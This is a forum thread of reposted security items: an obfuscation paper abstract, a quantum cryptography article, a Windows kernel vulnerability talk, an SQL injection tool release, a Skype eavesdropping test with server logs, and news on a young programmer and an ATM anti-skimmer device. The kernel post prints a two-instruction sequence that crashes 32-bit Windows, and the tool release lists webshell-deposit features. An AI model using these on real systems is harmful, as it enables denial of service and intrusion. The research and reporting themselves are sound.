Nytro

Mimimorphism: A New Approach to Binary Code Obfuscation Zhenyu Wu, Steven Gianvecchio, Mengjun Xie, and Haining Wang Abstract Binary obfuscation plays an essential role in evading malware static analysis and detection. The widely used code obfuscation techniques, such as polymorphism and metamorphism, focus on evading syntax based detection. However, statistic test and semantic analysis techniques have been developed to thwart their evasion attempts. More recent binary obfuscation techniques are divided in their purposes of attacking either statistical or semantic approach, but not both. In this paper, we introduce mimimorphism, a novel binary obfuscation technique with the potential of evading both statistical and semantic detections. Mimimorphic malware uses instruction-syntax-aware high-order mimic functions to transform its binary into mimicry executables that exhibit high similarity to benign programs in terms of statistical properties and semantic characteristics. We implement a prototype of the mimimorphic engine on the Intel x86 platform, and evaluate its capability of evading statistical anomaly detection and semantic analysis detection techniques. Our experimental results demonstrate that the mimicry executables are indistinguishable from benign programs in terms of byte frequency distribution and entropy, as well as control flow fingerprint. Full paper (387 KB) appeared in Proceedings of the 17th ACM Conference on Computer and Communications Security (CCS'10). http://www.cs.wm.edu/~adamwu/Mimimorphism_CCS10/Mimimorphic.pdf Download Presentation slides (for PowerPoint 2007+, 1.12 MB) http://www.cs.wm.edu/~adamwu/Mimimorphism_CCS10/ZhenyuWu_CCS2010_Mimimorphism.pptx Experimental data 7th order 100 mimimorphic instances (bz2 tar package, 127 MB) http://www.cs.wm.edu/~hnw/Mimimorphic/MimicOrder7.tar.bz2 8th order 100 mimimorphic instances (bz2 tar package, 169 MB) http://www.cs.wm.edu/~hnw/Mimimorphic/MimicOrder8.tar.bz2 Note: These mimimorphic instances are NOT standalone executables. They are the mimimorphic payloads, which consist of sequences of mimicry instructions that encode a piece of randomized data. In a standalone mimimorphic executable, if we were to make one, each piece of payload will be merged with the decoder binary and put into the ".text" section of the executable. Maintained by: Zhenyu Wu Last modified: Mon Apr 30 18:16:22 EDT 2012 Sursa: Mimimorphism: A New Approach to Binary Code Obfuscation

[h=2]Cryptography[/h] [h=3]The solace of quantum[/h][h=1]Eavesdropping on secret communications is about to get harder[/h] May 25th 2013 CRYPTOGRAPHY is an arms race between Alice and Bob, and Eve. These are the names cryptographers give to two people who are trying to communicate privily, and to a third who is trying to intercept and decrypt their conversation. Currently, Alice and Bob are ahead—just. But Eve is catching up. Alice and Bob are therefore looking for a whole new way of keeping things secret. And they may soon have one, courtesy of quantum mechanics. At the moment cryptography concentrates on making the decrypting part as hard as possible. The industry standard, known as RSA (after its inventors, Ron Rivest, Adi Shamir and Leonard Adleman, of the Massachusetts Institute of Technology), relies on two keys, one public and one private. These keys are very big numbers, each of which is derived from the product of the same two prime numbers. Anyone can encrypt a message using the public key, but only someone with the private key can decrypt it. To find the private key, you have to work out what the primes are from the public key. Make the primes big enough—and hunting big primes is something of a sport among mathematicians—and the task of factorising the public key to reveal the primes, though possible in theory, would take too long in practice. (About 40 quadrillion years with the primes then available, when the system was introduced in 1977.) Since the 1970s, though, the computers that do the factorisation have got bigger and faster. Some cryptographers therefore fear for the future of RSA. Hence the interest in quantum cryptography. Alice, Bob and Werner, too? The most developed form of quantum cryptography, known as quantum key distribution (QKD), relies on stopping interception, rather than preventing decryption. Once again, the key is a huge number—one with hundreds of digits, if expressed in the decimal system. Alice sends this to Bob as a series of photons (the particles of light) before she sends the encrypted message. For Eve to read this transmission, and thus obtain the key, she must destroy some photons. Since Bob will certainly notice the missing photons, Eve will need to create and send identical ones to Bob to avoid detection. But Alice and Bob (or, rather, the engineers who make their equipment) can stop that by using two different quantum properties, such as the polarities of the photons, to encode the ones and zeros of which the key is composed. According to Werner Heisenberg’s Uncertainty Principle, only one of these two properties can be measured, so Eve cannot reconstruct each photon without making errors. If Bob detects such errors he can tell Alice not to send the actual message until the line has been secured. One exponent of this approach is ID Quantique, a Swiss firm. In collaboration with Battelle, an American one, it is building a 700km (440-mile) fibre-optic QKD link between Battelle’s headquarters in Columbus, Ohio, and the firm’s facilities in and around Washington, DC. Battelle will use this to protect its own information and the link will also be hired to other firms that want to move sensitive data around. QuintessenceLabs, an Australian firm, has a different approach to encoding. Instead of tinkering with photons’ polarities, it changes their phases and amplitudes. The effect is the same, though: Eve will necessarily give herself away if she eavesdrops. Using this technology, QuintessenceLabs is building a 560km QKD link between the Jet Propulsion Laboratory in Pasadena, California, which organises many of NASA’s unmanned scientific missions, and the Ames Research Centre in Silicon Valley, where a lot of the agency’s scientific investigations are carried out. A third project, organised by Jane Nordholt of Los Alamos National Laboratory, has just demonstrated how a pocket-sized QKD transmitter called the QKarD can secure signals sent over public data networks to control smart electricity grids. Smart grids balance demand and supply so that electricity can be distributed more efficiently. This requires constant monitoring of the voltage, current and frequency of the grid in lots of different places—and the rapid transmission of the results to control centres. That transmission, however, also needs to be secure in case someone malicious wants to bring the system down. In their different ways, all these projects are ambitious. All, though, rely on local fixed lines to carry the photons. Other groups of researchers are thinking more globally. To do that means sending quantum-secured data to and from satellites. At least three groups are working on this: Thomas Jennewein and his team at the Institute for Quantum Computing in Waterloo, Canada; a collaboration led by Anton Zeilinger at the University of Vienna and Jian-Wei Pan at the University of Science and Technology of China; and Alex Ling and Artur Ekert at the Centre for Quantum Technologies in Singapore. Dr Jennewein’s proposal is for Alice to beam polarisation-encoded photons to a satellite. Once she has established a key, Bob, on another continent, will wait until the satellite passes over him so he can send some more photons to it to create a second key. The satellite will then mix the keys together and transmit the result to Bob, who can work out the first key because he has the second. Alice and Bob now possess a shared key, so they can communicate securely by normal (less intellectually exhausting) terrestrial networks. Dr Jennewein plans to test the idea, using an aircraft rather than a satellite, at some point during the next 12 months. An alternative, but more involved, satellite method is to use entangled photon pairs. Both Dr Zeilinger’s and Dr Ling’s teams have been trying this. Entanglement is a quantum effect that connects photons intimately, even when they are separated by a large distance. Measure one particle and you know the state of its partner. In this way Alice and Bob can share a key made of entangled photon pairs generated on a satellite. Dr Zeilinger hopes to try this with a QKD transmitter based on the International Space Station. He and his team have been experimenting with entanglement at ground level for several years. In 2007 they sent entangled photon pairs 144km through the air across the Canary Islands. Dr Ling’s device will test entanglement in orbit, but not send photons down to Earth. If this sort of thing works at scale, it should keep Alice and Bob ahead for years. As for poor Eve, she will find herself entangled in an unbreakable quantum web. Sursa: Cryptography: The solace of quantum | The Economist

[h=2]NoSuchCon’13 and crashing Windows with two instructions[/h]The first edition of the NoSuchCon security conference held in Paris ended just a few days ago. Before anything else, I would like to thank all of the organizers (proudly listed at nosuchcon.org) for making the event such a blast! Both the location, venue and speaker line-up were amazing, with lots of free beer and wealth of people to chat with. Overall, I am very happy to have shown up there and I will definitely make sure to attend the second edition of the conference. Other than drinking, discussing 0-days and visiting Paris, I also had the pleasure to give a talk about the usual subject – Windows kernel security. The exact title of my presentation was “Abusing the Windows Kernel: How to Crash an Operating System With Two Instructions“, and touched on the subject of several different exploitation techniques, internal CPU related behavior and security vulnerabilities (all related to the Windows operating system) that I discovered during the course of last several weeks / months. While the slide deck was made available to the attendees right at the beginning of my talk at nosuchcon.org/talks (great idea!), I’m reposting them here anyway, in case you haven’t had a chance to take a look yet. In fact, a majority of the talks were interesting and highly technical, so be sure to check the available material for all presentations ;-) Download Slides: “Abusing the Windows Kernel: How to Crash an Operating System With Two Instructions” (3.3MB, PDF) KiTrap0e advisory: “Abusing Windows NT #PF Trap Handler to Bugcheck and Leak Information” I originally planned to address six separate topics, but due to time constraints I decided to skip some of them in favor of the other ones. A brief description of each technique and vulnerability follows below. “nt!memcpy (and the like) reverse copying order” – certain implementations of the memcpy, memmove, RtlCopyMemory and RtlMoveMemory found in the kernel and third-party drivers alike handle the “overlapping regions” corner case by reversing the copy process order from the intuitive left-to-right to right-to-left direction. By starting to write at the end of the destination memory region, the functions facilitate successful exploitation of certain buffer overflow vulnerabilities, by allowing a (relative) write-what-where condition to be provoked. . While the technique works best for a kernel ? user copy on 64-bit platforms, it can also be applied to a number of other scenarios. For more information, please refer to the “Memory Copy Functions in Local Windows Kernel Exploitation” article published last year in the Hack in the Box Magazine, Issue 009. The Proof of Concept source code of a vulnerable device driver and an exploit used during live demonstration can be found at memcpy_ioctl.zip (3.9kB, ZIP). Note that the code has only been confirmed to be suspectible to a stack cookie bypass when built with WDK 7600.16385.1 for Windows 7 (x64 Free Build), although it should generally work for any 64-bit target. . “nt!memcmp double-fetch” – an interesting behavior found in the Windows 8 32-bit implementation of the nt!memcmp standard function, making it possible to fake matching regions when a user-mode pointer is passed as one of the function’s parameters. Due to lack of time, this was not covered at NSC; however, our SyScan’13 slides and paper explain the problem thoroughly. . “PAGE_GUARD and kernel code execution flow” – a technique already described in the “Fun facts: Windows kernel and guard pages” and “A story of win32k!cCapString, or unicode strings gone bad.” blog posts. . “SegSs, LDT_ENTRY.HighWord.Bits.Default_Big and IRETD” – due to how the “Big“ LDT entry flag in the SS: segment descriptor is handled by the IRETD instruction used for cross-privilege-level transfers in Windows, it is possible to have the CPU disclose the upper 16 bits of the current thread’s kernel stack pointer in 32-bit versions of Windows. . Proof of Concept source code: small_seg.zip (1kB, ZIP). . Example output: Z:\>smallseg.exe [+] High word of kernel stack address: 94070000 Z:\>smallseg.exe [+] High word of kernel stack address: 94010000 Z:\>smallseg.exe [+] High word of kernel stack address: 956b0000 “Windows 32-bit Trap Handlers” – the lack of proper sanitization of the previous CPL inside several trap handlers used in 32-bit Windows can be leveraged to disclose addresses of several internal ntoskrnl.exe (or equivalent) symbols in the kernel address space, effectively defeating kernel ASLR (not that it matters much for this particular OS). . Proof of Concept source code: kitrap01.zip (1.3kB, ZIP) and kitrap0e_addr.zip (1.4kB, ZIP). . Example outputs: Z:\>kitrap01.exe [+] Kernel image base: 8320c000, size: 413000 [+] Iteration 3d000 / 413000 [+] nt!KiFastCallEntry address: 83249790 Z:\>kitrap0e.exe [+] Kernel image base: 8320c000, size: 413000 [+] Iteration 3d000 / 413000 [+] Leaked address: 8324984c [+] Leaked address: 83249887 [+] Iteration 41000 / 413000 [+] Leaked address: 8324d4ed [+] Iteration 412000 / 413000 “Crashing Windows and leaking bits” – the primary focus area of the overall talk. As it turns out, the nt!KiTrap0e #PF trap handler trusts the KTRAP_FRAME.Ebp field to be a valid kernel-mode pointer when processing faults occuring at a specific, magic Eip values. Again, due to lack of proper KTRAP_FRAME.SegCs sanitization, it is possible to craft a frame with controlled Eip and the user-mode Ebp register, allowing a local attacker to crash the system via an invalid memory reference, or otherwise disclose the least significant bit of any byte in the kernel address space.The two instructions capable of crashing all 32-bit Windows NT-family systems as of today are as follows: [h=1]xor ebp, ebp[/h] [h=1]jmp 0x8327d1b7[/h] where 0x8327d1b7 is the nt!KiSystemServiceAccessTeb address. Proof of Concept source code: kitrap0e_bsod.zip (0.5kB, ZIP), kitrap0e_leak_bits.zip (1.4kB, ZIP) and kitrap0e_addr_space.zip (1.5kB, ZIP). The programs unconditionally crash the operating system, allow disclosing specific bits of the kernel memory and scan the kernel address space layout, respectively. Sursa: NoSuchCon’13 and crashing Windows with two instructions | j00ru//vx tech blog

Mi-as pula-n ofertele voastre.

Geniilor: https://rstforums.com/forum/external.php?type=RSS2&forumids=59

Sa vedem ce o sa iasa... Sa va vad: https://rstforums.com/forum/oferte.rst

[h=1]jSQL Injection v-0.4 : a java tool for automatic database injection[/h] May 21, 2013 · by Terry Update jSQL Injection v-0.4 : a java tool for automatic database injection. Version 0.4 features: GET, POST, header, cookie methods Normal, error based, blind, time based algorithms Automatic best algorithm selection Multi-thread control (start/pause/resume/stop) Progression bars Shows URL calls Simple evasion Proxy setting Distant file reading Webshell deposit Terminal for webshell commands Configuration backup Update checker Admin page checker Brute forcer (md5 mysql…) Coder (encode decode base64 hex md5…) Supports MySQL jSQL Injection is a lightweight application used to find database information from a distant server. jSQL is free, open source and cross-platform (Windows, Linux, Mac OS X, Solaris). Next work: + distant table writing [sqli] + distant file writing [sqli] + reverse tcp shell deposit [sqli] + right elevation [sqli] + speed increase (non encoding pass): 50% faster [sqli] + control all running tasks in a tab [gui] # speed test comparison with other injection tools [dev] # automatic code testing (JUnit) [dev] # wiki pages [site] Download : jsql-injection-v0.4.jar (1.2 MB) Find Other Version | Sources : https://code.google.com/p/jsql-injection/ Our Post before : Update jSQL Injection v-0.3 : a java tool for automatic database injection. Sursa: Update jSQL Injection v-0.4 : a java tool for automatic database injection.

[h=1]Micul geniu din Hackerville care a cucerit SUA[/h] Vezi galeria foto Povestea românului care a refuzat ofertele de la Google. Toat? lumea îl ?tie pe Ionu? Budi?teanu de la televizor, din ziare sau din pove?tile despre „ce inven?ii au mai f?cut românii“. De fapt, pu*?ini îl cunosc personal, fiindc? petrece aproape 16 ore pe zi la computer, inventând programe pentru care a primit peste o sut? de premii. Nu merge în parc, nu iese la bere cu prietenii, iar ultima carte citit? a fost în clasa a doua. Nu îi pare r?u, deoarece informatica însumeaz?, pentru el, toate pasiunile posibile. Atunci când m-am întâlnit prima oar? cu Ionu?, ?tiam doar c? este un geniu – cel pu?in a?a îl descriseser? cei care îl întâlniser? pân? în acel moment. El nu spune acela?i lucru, se prezint? drept „un copil care înva?? mult“. Mai ?tiam despre el c? a inventat un program cu ajutorul c?ruia persoanele nev?z?toare reu?esc s? disting? obiecte, c? a fost curtat de cele mai mari universit??i din SUA ?i c? a impresionat jurii nenum?rate cu proiectele sale. Din mailurile schimbate înainte s? ne cunoa?tem oficial, mi-am închipuit c? este o persoan? foarte politicoas?. ?i nu m-am în?elat. Ionu? folose?te pronumele de polite?e, spune „Mul?umesc!“ cât poate de des ?i poveste?te despre proiectele lui modest, calm, dar sigur pe el. Dup? o discu?ie în care mi-a explicat cum func?ioneaz? inven?iile sale, a scos dintr-un rucsac un teanc de diplome. Cam 130. „Am adus ?i ni?te diplome de la concursurile la care am participat“, îmi spune el calm. Prima pe care am observat-o era una oferit? de Universitatea Yale. Au urmat alte câteva din Taiwan, Azerbaidjan, Olanda ?i lista continu?. Mi-a spus c? a participat de 13 ori la concursuri în str?in?tate ?i la multe altele în ?ar?. Are doar 18 ani, iar aventura concursurilor a început din clasa a V-a. Pasiunea pentru computer ?i tot ce poate face cu ajutorul lui, mult mai devreme. Ionu? a v?zut primul computer la 3 ani. P?rin?ii lui împrumutaser? cuiva o sum? de bani, pe care respectivul nu a reu?it s? o dea înapoi. În schimb, le-a oferit un Pentium 386. „Mai era un singur alt computer în tot ora?ul la vremea aceea“, glume?te el. De?i în Râmnicu-Vâlcea, ora?ul unde locuie?te ?i acum, nu existau multe astfel de aparate pe care s? înve?e cum se utilizeaz?, asta nu l-a oprit s? observe singur cum func?ioneaz?. A început s? experimenteze jocuri de toate tipurile. Î?i aminte?te c? la 4 ani ?tia s? î?i salveze singur jocul, recuno?tea cuvintele ?i comenzile care îl ajutau s? fac? asta ?i nu se dezlipea de noua juc?rie. Au urmat peste 1.000 de jocuri pe care le cump?ra de pe Internet, pân? când ?i-a dat seama c? trebuie s? treac? la urm?torul nivel. Se plictisise, iar acum voia s? inventeze jocurile, nu s? le joace. A?a c?, în clasa a III-a, a încercat s? î?i fac? propriile jocuri, documentându-se din instruc?iunile celor cunoscute, din documenta?iile aplica?iilor ?i din c?r?i de specialitate. De?i toate aceste documente nu erau în limba român?, spune relaxat c? „în?elegeam ce citeam, doar aveam sistemul de operare în englez?“. Era interesat de anima?iile 3D, iar în vremea aceea St?pânul Inelelor f?cea furori la capitolul acesta. A încercat ?i el s? creeze lucruri asem?n?toare ?i a reu?it s? realizeze explozii, personaje, îns? nu le-a putut anima. Pentru pu?in timp a crezut c? poate nu i se potrive?te ceea ce încearc? s? fac?. A continuat s? experimenteze aplica?ii, s? încerce s? înve?e cum func?ioneaz?. În timpul acesta, colegii lui de la ?coal? înv??au s? foloseasc? Microsoft Word ?i Excel, iar profesoara de informatic? îl ruga s? îi transcrie documentele, pentru c? tasta rapid. El îi ar?ta ?i ce lucra singur, îns? ea nu îl credea. Nici din clasa a V-a lucrurile nu au fost foarte simple. Înv??a un nou limbaj de programare, bazat în special pe transpunerea problemelor de matematic? distractiv? în informatic?, ceea ce îl interesa mai pu?in decât efectele 3D, anima?iile sau alte aplica?ii. Pentru a-i capta aten?ia, profesoara îi promitea c? îl ajut? s? finalizeze jocul la care lucra, dac? face ?i ce era în programa ?colar?. A acceptat, dar asta nu îl oprea ca acas? la el s? continue munca de programare. Din când în când îi mai aducea profesoarei sale câte un CD cu ce lucrase. „Dumneaei era nedumerit? cum de f?ceam eu aplica?iile ?i nu ?tiam de fapt instruc?iuni de baz?. Nu prea m? credea când vedea ce f?ceam eu“, spune el râzând. În gimnaziu, Ionu? se transformase în varianta modern? ?i tehnologizat? a personajelor de poveste, care cre?teau într-un an cât al?ii în 10. El acumula informa?ii mai rapid decât al?i colegi ?i inventa programe de zor. A început s? mearg? la concursurile na?ionale de informatic?, unde aplica ce înv??a la ?coal?, dar nu î?i p?r?sea nici pasiunile. Înv??a acas?, singur, din lucr?ri academice de informatic?, tratate sau alte lucruri neinteresante pentru copiii de vârsta lui. Nu mai ie?ise în fa?a blocului s? se joace de la nou? ani. Nu sim?ea nevoia, informatica îi ocupa timpul a?a cum îi pl?cea. „Câteodat? adormeam cu capul pe tastatur? ?i m? trezeam a doua zi diminea?a.“ „Nu te certau p?rin?ii c? stai prea mult timp la computer?“, îl întreb. „Nu m? certau. ?i-au dat seama c? eu nu m? mai jucam, dar foloseam util timpul. Computerul este un instrument pentru a face bani sau pentru a te dezvolta pe tine însu?i.“ La ?coal? începuse s? se diferen?ieze de ceilal?i colegi ai lui. Încerca s? vin? mereu cu laptopul sau cu c?r?i de specialitate în sala de clas?, pentru a nu pierde niciun moment de studiu. „Ionu? mi-a atras aten?ia pentru c? era singurul din clas? absorbit de c?r?i de informatic? în timpul pauzelor “, poveste?te profesoara sa de matematic?, Irinel Dafincescu. Ea l-a cunoscut atunci când era în clasa a VII-a. Se preg?tea pentru olimpiadele na?ionale ?i i-a cerut ajutorul profesoarei sale pentru câteva nel?muriri pe care le avea la matematic?. De atunci, Irinel Dafincescu a devenit un profesor important pentru Ionu?. Îl încuraja la fiecare concurs la care participa. „Dup? ce a venit înc?rcat cu premii interna?ionale, de o importan?? covâr?itoare, nu s-a schimbat nimic în felul lui de a fi, nu se vedea nicio urm? de arogan?? în comportamentul s?u ?i a continuat s? lucreze cu aceea?i st?ruin??“, î?i aminte?te profesoara de matematic?. În clasa a IX-a, a trecut la un nivel superior cu proiectele la care lucreaz? – a mers, pentru prima dat?, în SUA. În stilul veni, vidi, vici, a câ?tigat de la început premiul I din partea Association for Computing Machinery (ACM), cea mai mare asocia?ie ?tiin?ific? ?i academic? din domeniul Informatic?. ACM ofer? Premiul Turing, adic? versiunea Nobel pentru informatic?, la gala c?ruia Ionu? a luat unul dintre cele 12 premii oferite în acel an. Era cel mai tân?r dintre cei 12, singurul care nu avea, înc?, o carier? academic? în cercetare. Între timp s-a obi?nuit s? fie cel mai mic de la concursurile la care participa, mai ales în clasa a IX-a sau a X-a, când to?i ceilal?i erau în clasa a XII-a. Asta nu îl împiedica s? câ?tige, mai mereu, premii. „Concursurile de genul acesta au peste 1.000 de participan?i“, îmi explic? el, „iar între noi exist? respect, pentru c? ?tim cu to?ii cât am muncit“. Respectul este, dup? cum mi-a dat de în?eles, foarte important pentru Ionu?. „Nu conteaz? ce vârst? ai, conteaz? cine e?ti“, mi-a spus el odat?, când am încercat s? îl conving s? mi se adreseze la persoana a doua, singular, întrucât nu sunt cu mul?i ani mai mare decât el. Succesul din prima c?l?torie în State i-a adus o invita?ie din partea Universit??ii din San Francisco pentru a deveni studentul lor chiar de atunci, de?i era doar în clasa a noua. Ionu? nu a fost de acord. „Eram prea mic, a? fi fost prea departe de p?rin?i“, îmi spune el zâmbind. Crede c? nu ar fi trebuit s? ard? etapele ?i c? ?coala i-a fost util?. De?i se ocup? exclusiv de informatic? ?i nu mai are timp ?i pentru alte materii, îmi spune c? ?coala i-a ar?tat cum s? înve?e. ?i, dup? cum era de a?teptat, internetul îi e un bun prieten ?i pentru a înv??a, a?a c? este un perseverent autodidact, folosind cursuri online de biologie, fizic? sau alte zone de interes. Dac? la început utiliza cursuri de la masterate, acum studiaz? singur lucr?ri complicate de doctorat. Dup? premiile ?i experien?ele americane a devenit membru ACM ?i IEEE, cele mai mari asocia?ii de profil din lume. A fost premiat de Intel în repetate rânduri ?i invitat de Google Elve?ia s? lucreze pentru ei, atunci când era în clasa a XI-a, îns? i-a refuzat. „Nu vreau s? fiu unul dintre cei 7.000 de programatori care s? lucreze la fel“. Crede c? este mai util pentru umanitate dac? zece programatori ?i-ar uni for?ele s? lucreze în cercet?ri inovative. Î?i dore?te s? devin? profesor universitar, iar propunerile alternative nu îl atrag. Î?i d? seama c? entuziasmul ?i poten?ialul s?u s-ar pierde în munci birocratice sau în locuri în care mai important este marketingul decât cercetarea în informatic? sau în inteligen?? artificial?. Cel mai cunoscut ?i premiat dintre proiectele sale a fost programul care îi ajut? pe nev?z?tori s? disting? obiectele. Inspirat de unchiul s?u, care î?i pierduse vederea de mul?i ani, ?i-a dorit s? creeze un dispozitiv ieftin, prin care s? le fie de folos celor cu aceast? suferin??. Înainte de asta c?p?tase experien?? în domeniul inteligen?ei artificiale, lucrând la un encefalograf ?i citind studii nenum?rate de pe internet. ?i-a dat rapid seama c? organul care poate transmite creierului semnale în mod similar în care o fac ochii este limba. A creat, deci, un soft multifunc?ional ?i un dispozitiv care se pune pe limb?, prin care, practic, persoana nev?z?toare recunoa?te diferite obiecte. Ionu? a testat inven?ia pe unchiul s?u timp de mai multe s?pt?mâni. Cu ajutorul unei camere de filmat surprindea diferite obiecte simple. Dispozitivul proceseaz? informa?ia ?i o transmite la o matrice senzorial? plasat? pe limb?, iar aceast? matrice genereaz? un nivel de electricitate direct propor?ional cu intensitatea imaginii. Prin exerci?iu, creierul se obi?nuie?te ?i începe s? recunoasc? diferite obiecte. Dup? încerc?ri repetate, unchiul lui reu?ea s? disting? chiar ?i o mare parte dintre literele alfabetului. Înainte de acest proiect, Ionu? mai inventase un program prin care s? fie recunoscute fe?ele ho?ilor care folosesc cagule în atacurile lor, lucrase la un soft de recunoa?tere a dezastrelor naturale ?i multe alte proiecte – toate premiate în str?in?tate. De unde ideile pentru aceste lucruri? La concursurile la care particip? atât de frecvent se propun diverse teme, prin care ar putea fi ajutat? lumea. Acum lucreaz? la o ma?in? autonom?. „Adic? un autoturism care merge singur?“, întreb eu, încercând s? verific informa?ia pe care o credeam posibil? numai în filme SF. M? aprob? ?i îmi spune c? va fi a doua ma?in? de acest fel inventat? în lume. Pentru prima au lucrat o mul?ime de cercet?tori de la Stanford. Unul dintre profesorii de acolo a ?inut cursuri despre acest subiect, îns? nu a vândut marele pont, l?sându-i pe cei ca Ionu? s? inoveze. El vrea s? aduc? o îmbun?t??ire acestei ma?ini, realizând-o cu un radar mult mai ieftin decât cel folosit de americani. Acesta din urm? ar fi costat câteva zeci de mii de dolari, pe când al lui ar fi în jur de 2.000. „Vede?i Gauss-ul acesta?“, îmi indic? el, relaxat, cu degetul c?tre ecranul laptopului, unde tocmai îmi ar?ta cum func?ioneaz? mai exact softul ma?inii autonome. Încerc s? în?eleg cum poate o ma?in? s? mearg? singur?, iar r?spunsul pare destul de simplu: aceasta identific? marcajele ?i semnele rutiere, obstacolele ?i curbele ?i reu?e?te s? mearg? f?r? ca noi s? o conducem. Ca s? î?i duc? la bun sfâr?it proiectul, a primit o ma?in? de la Dacia Renault ?i „Funda?ia Dan Voiculescu“. L-am întrebat dac? are permis pentru ea. „Nu am permis, nu m? intereseaz? asta. Eu vreau s? fac o ma?in? care s? mearg? singur?“. La un moment dat, câ?iva dintre profesorii s?i au început s? se întrebe dac? nu cumva genialitatea lui poate fi periculoas?. În vremea în care el se preg?tea de inven?ii care s? ajute umanitatea, în Râmnicu-Vâlcea poli?ia aresta 30 de hackeri pentru fraude informatice grave, poveste din cauza c?reia presa american? i-a dat ora?ului numele de Hackerville. A?a c?, atunci când era în clasa a VIII-a, directorului liceului i s-a cerut s? îi interzic? accesul lui Ionu? în laboratorul de informatic?, „c?ci poate vine FBI-ul la ?coal?“, î?i aminte?te el amuzat. „Acela nu este hacking, este phishing. Este altceva“, m? l?mure?te el despre leg?tura dintre FBI ?i suspiciunile profesorilor s?i. Mi-a explicat c? hackingul înseamn?, de fapt, exploatarea vulnerabilit??ilor site-urilor, ceea ce este foarte u?or. În clasa a VI-a, a vrut s? le arate câteva probleme celor care lucrau la un site românesc, îns? ei nu l-au crezut. Ca s? le demonstreze c? a avut dreptate, a modificat câteva lucruri minore. Speria?i, au vrut s? îl dea în judecat?, îns? Ionu? nu avea pe vremea aceea nici buletin, a?a c? l-au l?sat în pace. Atunci a fost ultima dat? când a încercat ceea ce ar putea fi numit „white hat hacking“. Oamenii nu îl prea cred c? nu se ocup? cu acelea?i lucruri ca ?i acei vâlceni care au f?cut ora?ul celebru în str?in?tate. Unii profesori îi repro*?au în liceu c? programele pe care le inventeaz? nu ar fi adev?rate, c? se „autoplagiaz?“ ?i c?, de fapt, ar fi doar un mic hacker. În liceu, cineva le-a trimis profesorilor mail-uri compromi??toare, iar el a fost primul incriminat. Dar Ionu? nu ar avea timp pentru hacking. „Te-a? putea convinge s? cite?ti o poveste?“, îi propun. „Ah, nu, nu“ – râde el. Prefer? filmele, din care vede maximum 20 într-un an. Filmul preferat, care ar putea avea leg?tur? cu marea sa pasiune, este Terminator, pentru c? aduce în discu?ie nout??ile create de tehnologie în viitor. Spune c? nu î?i pierde timpul cu vizion?ri aleatorii de filme, pentru c? nu ?sta este hobby-ul lui. Unica sa pasiune este informatica, iar singurii s?i prieteni sunt tot cei care au leg?tur? cu subiectul acesta, în general cunoscu?i la concursurile interna?ionale la care merge. „Vrei s? pleci undeva în vacan?? dup? ce termini ma?ina autonom??”, îl întreb eu. Îmi spune c? îi sunt suficiente zborurile în str?in?tate pentru concursuri, acolo are parte de tot ceea ce î?i dore?te. Ultima oar? când am vorbit cu Ionu? se gr?bea s? ajung? acas?, s? mai înve?e. De?i are o burs? de 40.000 de dolari, pe care o poate folosi la orice universitate din State, prefer? s? studieze oricum, pentru c? îi place. Vrea s? mearg? la Carnegie Mellon, pentru c? simte c? i s-ar potrivi mai bine decât Yale sau Stanford. UPDATE: Pe 17 iunie, Ionu? a câ?tigat marele premiu de 75.000 de Euro International Science and Engineering Fair (ISEF), organizat de compania Intel in Arizona, SUA, pentru dezvoltarea proiectului ma?inii autonome. Foto: Ioana V?c?ra?u, Mihai D?sc?lescu Sursa: Micul geniu din Hackerville care a cucerit SUA

Vai, nu imi mai merge RST, primeste DDOS de pe 3 IP-uri

[h=1][cryptography] skype backdoor confirmation[/h]Adam Back adam at cypherspace.org Thu May 16 15:52:24 EDT 2013 So when I saw this article Skype with care – Microsoft is reading everything you write - The H Security: News and Features I was disappointed the rumoured skype backdoor is claimed to be real, and that they have evidence. The method by which they confirmed is kind of odd - not only is skype eavesdropping but its doing head requests on SSL sites that have urls pasted in the skype chat! Now I've worked with a few of the german security outfits before, though not Heise, and they are usually top-notch, so if they say its confirmed, you generally are advised to believe them. And the date on the article is a couple of days old, but I tried it anyway. Setup an non-indexed /dev/urandom generated long filename, and saved it as php with a meta-refresh to a known malware site in case thats a trigger, and a passive html with no refresh and no args. Passed a username password via ?user=foo&password=bar to the php one and sent the links to Ian Grigg who I saw was online over skype with strict instructions not to click. To my surprise I see this two entries in the apache SSL log: 65.52.100.214 - - [16/May/2013:13:14:03 -0400] "HEAD /CuArhuk2veg1owOtiTofAryib7CajVisBeb8.html HTTP/1.1" 200 - 65.52.100.214 - - [16/May/2013:14:08:52 -0400] "HEAD /CuArhuk2veg1owOtiTofAyarrUg5blettOlyurc7.php?user=foo&pass=yeahright HTTP/1.1" 200 - I was using skype on ubuntu, my Ian on the other end was using MAC OSX. It took about 45mins until the hit came so they must be batched. (The gap between the two requests is because I did some work on the web server as the SSL cert was expired and I didnt want that to prevent it working, nor something more script like with cgi arguments as in the article). Now are they just hoovering up the skype IMs via the new microsoft central server architecture having back doored skype client to no longer have end2end encrption (and feedind them through echelon or whatever) or is this the client that is reading your IMs and sending selected things to the mothership. btw their HEAD request was completely ineffective per the weak excuse microsoft offered in the article at top my php contained a meta-refresh which the head wont see as its in the html body. (Yes I confirmed via my own localhost HTTP get as web dev environments are automatic in various ways). So there is adium4skype which allows you to use OTR with your skype contacts and using skype as the transport. Or one might be more inclined to drop skype in protest. I think the spooks have been watching "Person of Interest" too much to think such things are cricket. How far does this go? Do people need to worry about microsoft IIS web servers with SSL, exchange servers? You do have to wonder if apple backdoored their IM client, below the OTR, or silent circle, or the OS - I mean how far does this go? Jon Callas said not apple, that wouldnt be cool, and apple aims for coolness for users; maybe he should dig a little more. It seems to be getting to you cant trust anything without compiling it from source, and having a good PGP WoT network with developers. A distro binary possibly isnt enough in such an environment. Adam Sursa: [cryptography] skype backdoor confirmation

[h=2]Jailed Romanian hacker repents, invents ATM security scheme[/h]Add-on device blocks card skimmers By Neil McAllister in San Francisco Posted in Security, 17th May 2013 20:33 GMT A Romanian man serving a five-year jail sentence for bank-machine fraud says he's come up with a device that can be attached to any ATM to make the machine invulnerable to card skimmers. Valentin Boanta was arrested in 2009 and charged with supplying ATM skimmers – devices that can be attached to ATMs to surreptitiously copy the data from unwitting users' cards – to a local organized crime gang. It was during his subsequent trial and sentencing that Boanta saw the light and traded in his black hat for a white one, Reuters reports. "Crime was like a drug for me. After I was caught, I was happy I escaped from this adrenaline addiction," Boanta told reporters from his jail cell in Vaslui, Romania. "So that the other part, in which I started to develop security solutions, started to emerge." Boanta's solution, known as the Secure Revolving System (SRS), is an ingenious one that uses mechanical rather than digital security. ATM skimmers work by installing a second, concealed card reader over the one that's built into the ATM. When an unsuspecting bank customer inserts a card into the slot, the card's magnetic stripe first runs past the read head of the skimmer, allowing it to copy all of the card's data. The 